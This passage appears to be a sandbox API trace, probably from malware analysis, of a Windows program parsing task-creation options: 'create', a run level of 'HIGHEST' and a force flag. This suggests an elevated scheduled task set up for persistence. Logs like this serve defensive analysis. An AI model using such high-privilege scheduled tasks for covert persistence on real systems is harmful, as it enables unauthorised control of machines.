returned="/" [0090.590] lstrlenW (lpString="create") returned 6 [0090.590] lstrlenW (lpString="create") returned 6 [0090.590] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.590] lstrlenW (lpString="rl") returned 2 [0090.590] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.590] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.590] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.590] lstrlenW (lpString="|create|") returned 8 [0090.590] lstrlenW (lpString="|rl|") returned 4 [0090.590] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0090.590] SetLastError (dwErrCode=0x490) [0090.590] lstrlenW (lpString="?") returned 1 [0090.590] lstrlenW (lpString="?") returned 1 [0090.591] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.591] lstrlenW (lpString="rl") returned 2 [0090.591] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.591] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|?|") returned 3 [0090.591] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.591] lstrlenW (lpString="|?|") returned 3 [0090.591] lstrlenW (lpString="|rl|") returned 4 [0090.591] SetLastError (dwErrCode=0x490) [0090.591] lstrlenW (lpString="s") returned 1 [0090.591] lstrlenW (lpString="s") returned 1 [0090.591] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.591] lstrlenW (lpString="rl") returned 2 [0090.591] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.591] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|s|") returned 3 [0090.591] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.591] lstrlenW (lpString="|s|") returned 3 [0090.591] lstrlenW (lpString="|rl|") returned 4 [0090.591] SetLastError (dwErrCode=0x490) [0090.591] lstrlenW (lpString="u") returned 1 [0090.591] lstrlenW (lpString="u") returned 1 [0090.591] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.591] lstrlenW (lpString="rl") returned 2 [0090.591] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.592] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|u|") returned 3 [0090.592] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.592] lstrlenW (lpString="|u|") returned 3 [0090.592] lstrlenW (lpString="|rl|") returned 4 [0090.592] SetLastError (dwErrCode=0x490) [0090.592] lstrlenW (lpString="p") returned 1 [0090.592] lstrlenW (lpString="p") returned 1 [0090.592] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.592] lstrlenW (lpString="rl") returned 2 [0090.592] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.592] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|p|") returned 3 [0090.592] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.592] lstrlenW (lpString="|p|") returned 3 [0090.592] lstrlenW (lpString="|rl|") returned 4 [0090.592] SetLastError (dwErrCode=0x490) [0090.592] lstrlenW (lpString="ru") returned 2 [0090.592] lstrlenW (lpString="ru") returned 2 [0090.592] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.592] lstrlenW (lpString="rl") returned 2 [0090.592] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.592] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ru|") returned 4 [0090.592] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.592] lstrlenW (lpString="|ru|") returned 4 [0090.592] lstrlenW (lpString="|rl|") returned 4 [0090.593] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0090.593] SetLastError (dwErrCode=0x490) [0090.593] lstrlenW (lpString="rp") returned 2 [0090.593] lstrlenW (lpString="rp") returned 2 [0090.593] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.593] lstrlenW (lpString="rl") returned 2 [0090.593] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.593] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rp|") returned 4 [0090.593] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.593] lstrlenW (lpString="|rp|") returned 4 [0090.593] lstrlenW (lpString="|rl|") returned 4 [0090.593] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0090.593] SetLastError (dwErrCode=0x490) [0090.593] lstrlenW (lpString="sc") returned 2 [0090.593] lstrlenW (lpString="sc") returned 2 [0090.593] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.593] lstrlenW (lpString="rl") returned 2 [0090.593] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.593] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sc|") returned 4 [0090.593] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.593] lstrlenW (lpString="|sc|") returned 4 [0090.593] lstrlenW (lpString="|rl|") returned 4 [0090.593] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0090.593] SetLastError (dwErrCode=0x490) [0090.594] lstrlenW (lpString="mo") returned 2 [0090.594] lstrlenW (lpString="mo") returned 2 [0090.594] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.594] lstrlenW (lpString="rl") returned 2 [0090.594] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.594] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|mo|") returned 4 [0090.594] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.594] lstrlenW (lpString="|mo|") returned 4 [0090.594] lstrlenW (lpString="|rl|") returned 4 [0090.594] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0090.594] SetLastError (dwErrCode=0x490) [0090.594] lstrlenW (lpString="d") returned 1 [0090.594] lstrlenW (lpString="d") returned 1 [0090.594] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.594] lstrlenW (lpString="rl") returned 2 [0090.594] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.594] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|d|") returned 3 [0090.594] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.594] lstrlenW (lpString="|d|") returned 3 [0090.594] lstrlenW (lpString="|rl|") returned 4 [0090.594] SetLastError (dwErrCode=0x490) [0090.594] lstrlenW (lpString="m") returned 1 [0090.594] lstrlenW (lpString="m") returned 1 [0090.594] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] lstrlenW (lpString="rl") returned 2 [0090.595] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|m|") returned 3 [0090.595] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.595] lstrlenW (lpString="|m|") returned 3 [0090.595] lstrlenW (lpString="|rl|") returned 4 [0090.595] SetLastError (dwErrCode=0x490) [0090.595] lstrlenW (lpString="i") returned 1 [0090.595] lstrlenW (lpString="i") returned 1 [0090.595] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] lstrlenW (lpString="rl") returned 2 [0090.595] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|i|") returned 3 [0090.595] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.595] lstrlenW (lpString="|i|") returned 3 [0090.595] lstrlenW (lpString="|rl|") returned 4 [0090.595] SetLastError (dwErrCode=0x490) [0090.595] lstrlenW (lpString="tn") returned 2 [0090.595] lstrlenW (lpString="tn") returned 2 [0090.595] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] lstrlenW (lpString="rl") returned 2 [0090.595] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.595] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tn|") returned 4 [0090.596] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.596] lstrlenW (lpString="|tn|") returned 4 [0090.596] lstrlenW (lpString="|rl|") returned 4 [0090.596] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0090.596] SetLastError (dwErrCode=0x490) [0090.596] lstrlenW (lpString="tr") returned 2 [0090.596] lstrlenW (lpString="tr") returned 2 [0090.596] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.596] lstrlenW (lpString="rl") returned 2 [0090.596] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.596] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|tr|") returned 4 [0090.596] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.596] lstrlenW (lpString="|tr|") returned 4 [0090.596] lstrlenW (lpString="|rl|") returned 4 [0090.596] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0090.596] SetLastError (dwErrCode=0x490) [0090.596] lstrlenW (lpString="st") returned 2 [0090.596] lstrlenW (lpString="st") returned 2 [0090.596] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.596] lstrlenW (lpString="rl") returned 2 [0090.596] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.596] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|st|") returned 4 [0090.596] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.596] lstrlenW (lpString="|st|") returned 4 [0090.597] lstrlenW (lpString="|rl|") returned 4 [0090.597] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0090.597] SetLastError (dwErrCode=0x490) [0090.597] lstrlenW (lpString="sd") returned 2 [0090.597] lstrlenW (lpString="sd") returned 2 [0090.597] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.597] lstrlenW (lpString="rl") returned 2 [0090.597] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.597] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|sd|") returned 4 [0090.597] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.597] lstrlenW (lpString="|sd|") returned 4 [0090.597] lstrlenW (lpString="|rl|") returned 4 [0090.597] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0090.597] SetLastError (dwErrCode=0x490) [0090.597] lstrlenW (lpString="ed") returned 2 [0090.597] lstrlenW (lpString="ed") returned 2 [0090.597] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.597] lstrlenW (lpString="rl") returned 2 [0090.597] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.597] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ed|") returned 4 [0090.597] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.598] lstrlenW (lpString="|ed|") returned 4 [0090.598] lstrlenW (lpString="|rl|") returned 4 [0090.598] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0090.598] SetLastError (dwErrCode=0x490) [0090.598] lstrlenW (lpString="it") returned 2 [0090.598] lstrlenW (lpString="it") returned 2 [0090.598] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.598] lstrlenW (lpString="rl") returned 2 [0090.598] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.598] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|it|") returned 4 [0090.598] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.598] lstrlenW (lpString="|it|") returned 4 [0090.598] lstrlenW (lpString="|rl|") returned 4 [0090.598] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0090.598] SetLastError (dwErrCode=0x490) [0090.598] lstrlenW (lpString="et") returned 2 [0090.598] lstrlenW (lpString="et") returned 2 [0090.598] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.598] lstrlenW (lpString="rl") returned 2 [0090.598] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.598] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|et|") returned 4 [0090.598] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.598] lstrlenW (lpString="|et|") returned 4 [0090.598] lstrlenW (lpString="|rl|") returned 4 [0090.599] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0090.599] SetLastError (dwErrCode=0x490) [0090.599] lstrlenW (lpString="k") returned 1 [0090.599] lstrlenW (lpString="k") returned 1 [0090.599] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.599] lstrlenW (lpString="rl") returned 2 [0090.599] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.599] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|k|") returned 3 [0090.599] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.599] lstrlenW (lpString="|k|") returned 3 [0090.599] lstrlenW (lpString="|rl|") returned 4 [0090.599] SetLastError (dwErrCode=0x490) [0090.599] lstrlenW (lpString="du") returned 2 [0090.599] lstrlenW (lpString="du") returned 2 [0090.599] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.599] lstrlenW (lpString="rl") returned 2 [0090.599] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.599] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|du|") returned 4 [0090.599] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.599] lstrlenW (lpString="|du|") returned 4 [0090.599] lstrlenW (lpString="|rl|") returned 4 [0090.599] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0090.599] SetLastError (dwErrCode=0x490) [0090.600] lstrlenW (lpString="ri") returned 2 [0090.600] lstrlenW (lpString="ri") returned 2 [0090.600] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.600] lstrlenW (lpString="rl") returned 2 [0090.600] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.600] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ri|") returned 4 [0090.600] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.600] lstrlenW (lpString="|ri|") returned 4 [0090.600] lstrlenW (lpString="|rl|") returned 4 [0090.600] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0090.600] SetLastError (dwErrCode=0x490) [0090.600] lstrlenW (lpString="z") returned 1 [0090.600] lstrlenW (lpString="z") returned 1 [0090.600] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.600] lstrlenW (lpString="rl") returned 2 [0090.600] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.600] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|z|") returned 3 [0090.600] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.600] lstrlenW (lpString="|z|") returned 3 [0090.600] lstrlenW (lpString="|rl|") returned 4 [0090.600] SetLastError (dwErrCode=0x490) [0090.600] lstrlenW (lpString="f") returned 1 [0090.600] lstrlenW (lpString="f") returned 1 [0090.600] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.601] lstrlenW (lpString="rl") returned 2 [0090.601] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.601] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.601] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.601] lstrlenW (lpString="|f|") returned 3 [0090.601] lstrlenW (lpString="|rl|") returned 4 [0090.601] SetLastError (dwErrCode=0x490) [0090.601] lstrlenW (lpString="v1") returned 2 [0090.601] lstrlenW (lpString="v1") returned 2 [0090.601] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.601] lstrlenW (lpString="rl") returned 2 [0090.601] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.601] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|v1|") returned 4 [0090.601] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.601] lstrlenW (lpString="|v1|") returned 4 [0090.601] lstrlenW (lpString="|rl|") returned 4 [0090.601] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0090.601] SetLastError (dwErrCode=0x490) [0090.601] lstrlenW (lpString="xml") returned 3 [0090.601] lstrlenW (lpString="xml") returned 3 [0090.601] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.601] lstrlenW (lpString="rl") returned 2 [0090.601] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.602] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|xml|") returned 5 [0090.602] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.602] lstrlenW (lpString="|xml|") returned 5 [0090.602] lstrlenW (lpString="|rl|") returned 4 [0090.602] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0090.602] SetLastError (dwErrCode=0x490) [0090.602] lstrlenW (lpString="ec") returned 2 [0090.602] lstrlenW (lpString="ec") returned 2 [0090.602] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.602] lstrlenW (lpString="rl") returned 2 [0090.602] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.602] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|ec|") returned 4 [0090.602] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.602] lstrlenW (lpString="|ec|") returned 4 [0090.602] lstrlenW (lpString="|rl|") returned 4 [0090.602] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0090.602] SetLastError (dwErrCode=0x490) [0090.602] lstrlenW (lpString="rl") returned 2 [0090.602] lstrlenW (lpString="rl") returned 2 [0090.602] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.602] lstrlenW (lpString="rl") returned 2 [0090.603] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.603] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.603] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|rl|") returned 4 [0090.603] lstrlenW (lpString="|rl|") returned 4 [0090.603] lstrlenW (lpString="|rl|") returned 4 [0090.603] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0090.603] SetLastError (dwErrCode=0x0) [0090.603] SetLastError (dwErrCode=0x0) [0090.603] lstrlenW (lpString="HIGHEST") returned 7 [0090.603] lstrlenW (lpString="-/") returned 2 [0090.603] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0090.603] SetLastError (dwErrCode=0x490) [0090.603] SetLastError (dwErrCode=0x490) [0090.603] SetLastError (dwErrCode=0x0) [0090.603] lstrlenW (lpString="HIGHEST") returned 7 [0090.603] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0090.603] SetLastError (dwErrCode=0x490) [0090.603] SetLastError (dwErrCode=0x0) [0090.603] _memicmp (_Buf1=0x36d660, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.603] lstrlenW (lpString="HIGHEST") returned 7 [0090.603] lstrlenW (lpString="HIGHEST") returned 7 [0090.603] lstrlenW (lpString=" \x09") returned 2 [0090.603] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0090.603] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0090.603] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0090.603] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0090.603] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0090.604] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0090.604] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0090.604] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0090.604] GetLastError () returned 0x0 [0090.604] lstrlenW (lpString="HIGHEST") returned 7 [0090.604] lstrlenW (lpString="HIGHEST") returned 7 [0090.604] SetLastError (dwErrCode=0x0) [0090.604] SetLastError (dwErrCode=0x0) [0090.604] lstrlenW (lpString="/f") returned 2 [0090.604] lstrlenW (lpString="-/") returned 2 [0090.604] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0090.604] lstrlenW (lpString="create") returned 6 [0090.604] lstrlenW (lpString="create") returned 6 [0090.604] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.604] lstrlenW (lpString="f") returned 1 [0090.604] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.604] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|create|") returned 8 [0090.604] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.604] lstrlenW (lpString="|create|") returned 8 [0090.604] lstrlenW (lpString="|f|") returned 3 [0090.604] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0090.604] SetLastError (dwErrCode=0x490) [0090.604] lstrlenW (lpString="?") returned 1 [0090.604] lstrlenW (lpString="?") returned 1 [0090.605] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.605] lstrlenW (lpString="f") returned 1 [0090.605] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.605] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|?|") returned 3 [0090.605] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.605] lstrlenW (lpString="|?|") returned 3 [0090.605] lstrlenW (lpString="|f|") returned 3 [0090.605] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0090.605] SetLastError (dwErrCode=0x490) [0090.605] lstrlenW (lpString="s") returned 1 [0090.605] lstrlenW (lpString="s") returned 1 [0090.605] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.605] lstrlenW (lpString="f") returned 1 [0090.605] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.605] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|s|") returned 3 [0090.605] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.605] lstrlenW (lpString="|s|") returned 3 [0090.605] lstrlenW (lpString="|f|") returned 3 [0090.605] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0090.605] SetLastError (dwErrCode=0x490) [0090.605] lstrlenW (lpString="u") returned 1 [0090.605] lstrlenW (lpString="u") returned 1 [0090.605] _memicmp (_Buf1=0x36c1c0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.605] lstrlenW (lpString="f") returned 1 [0090.605] _memicmp (_Buf1=0x36c300, _Buf2=0xff901b08, _Size=0x7) returned 0 [0090.606] _vsnwprintf (in: _Buffer=0x36c340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|u|") returned 3 [0090.606] _vsnwprintf (in: _Buffer=0x36c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1dc888 | out: _Buffer="|f|") returned 3 [0090.606] lstrlenW (lpString="|u|") returned 3 